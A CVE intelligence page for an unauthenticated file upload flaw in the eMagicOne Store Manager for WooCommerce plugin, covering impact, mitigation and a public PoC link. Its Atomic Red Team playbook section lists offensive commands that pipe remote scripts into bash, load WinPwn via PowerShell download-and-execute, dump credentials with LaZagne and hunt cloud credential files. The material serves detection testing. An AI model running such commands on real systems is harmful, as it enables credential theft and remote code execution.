CVE-2025-5058
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient validation of file types in the set_image() function within the eMagicOne Store Manager for WooCommerce plugin. The affected component improperly handles file uploads, allowing potentially malicious files to be accepted without verifying their content or extension. This issue exists in all plugin versions up to and including 1.2.5, specifically impacting the image handling mechanism.
Vulnerability Description
The eMagicOne Store Manager for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the set_image() function in all versions up to, and including, 1.2.5. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible. This is only exploitable by unauthenticated attackers in default configurations where the the default password is left as 1:1, or where the attacker gains access to the credentials.
Impact
An unauthenticated attacker can upload arbitrary files to the server hosting the WordPress site using default credentials or if credentials are compromised, enabling remote code execution. This allows full compromise of the affected system, including data theft, site defacement, or further network penetration. The vulnerability requires no user interaction and no privileges (CVSS vector AV:N/AC:L/PR:N/UI:N), making exploitation straightforward under default configurations.
Solution
Upgrade the eMagicOne Store Manager for WooCommerce plugin to a version later than 1.2.5 where file upload validation is enforced. Refer to the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/8a00ece0-6644-4535-86aa-d0802d94a1a7) for detailed patch instructions and verification steps. Additionally, change any default passwords from '1:1' to strong, unique credentials to mitigate unauthorized access.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the eMagicOne Store Manager for WooCommerce plugin stems from inadequate file type validation within the set_image() function. This flaw permits unauthenticated users to upload arbitrary files to the server hosting the affected WordPress site. The absence of stringent checks on file types means that an attacker can potentially upload malicious scripts disguised as image files, which can then be executed on the server. This vulnerability is particularly critical as it affects all versions up to and including 1.2.5, leaving a wide range of installations exposed to exploitation.
Attack vectors for this vulnerability are notably straightforward, allowing for various exploitation scenarios. An attacker could leverage the default configuration settings of the plugin, especially if the default password remains unchanged at "1:1." In such cases, an attacker could gain unauthorized access to the upload functionality without needing any credentials. Once the arbitrary file upload is successful, the attacker could execute remote code, leading to full server compromise. This could involve deploying web shells, which provide persistent access to the server, or uploading other types of malicious payloads that could further facilitate data exfiltration or lateral movement within the network.
The real-world impact of this vulnerability is significant, particularly for businesses relying on the eMagicOne Store Manager for WooCommerce plugin. The potential for remote code execution can lead to severe consequences, including unauthorized access to sensitive customer data, financial loss, and damage to the organization's reputation. Furthermore, if exploited, the attacker could leverage the compromised server to launch attacks against other systems, creating a cascading effect that could disrupt not only the targeted organization but also its clients and partners. The high CVSS score of 9.8 underscores the critical nature of this vulnerability, indicating that it poses a severe risk to the integrity and confidentiality of the affected systems.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, it is essential to update the eMagicOne Store Manager for WooCommerce plugin to the latest version, which includes patches addressing this vulnerability. Regularly reviewing and updating all plugins and software components is a best practice that can significantly reduce exposure to known vulnerabilities. Additionally, organizations should enforce strict file type validation and implement security measures such as Web Application Firewalls (WAFs) to filter out potentially malicious uploads. Monitoring server logs for unusual activity, such as unexpected file uploads or access attempts, can also help in early detection of exploitation attempts.
In conclusion, the vulnerability in the eMagicOne Store Manager for WooCommerce plugin exemplifies the critical need for robust security practices in web applications. The ease of exploitation and the potential for severe consequences necessitate immediate action from organizations using this plugin. By understanding the technical details, potential attack vectors, and implementing effective detection and mitigation strategies, businesses can safeguard their systems against such vulnerabilities and protect their assets from malicious actors.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Emagicone | Emagicone Store Manager For Woocommerce | All |
cpe:2.3:a:emagicone:emagicone_store_manager_for_woocommerce:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
d0n601/CVE-2025-5058
eMagicOne Store Manager for WooCommerce <= 1.2.5 - Unauthenticated Arbitrary File Upload via set_image Task
|
d0n601 | 1 | 1 | 2025-05-21 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-5058 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/8a00ece0-6644-4535-86aa-d0802d94a1a7?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/store-manager-connector/trunk/classes/class-emosmconnectorcommon.php#L2115 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/store-manager-connector/trunk/classes/class-emosmcwoocommerceoverrider.php#L272 |
| github.com |
GitHub CVE
|
https://github.com/d0n601/CVE-2025-5058/ |
| ryankozak.com |
GitHub CVE
|
https://ryankozak.com/posts/cve-2025-5058/ |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3308544/ |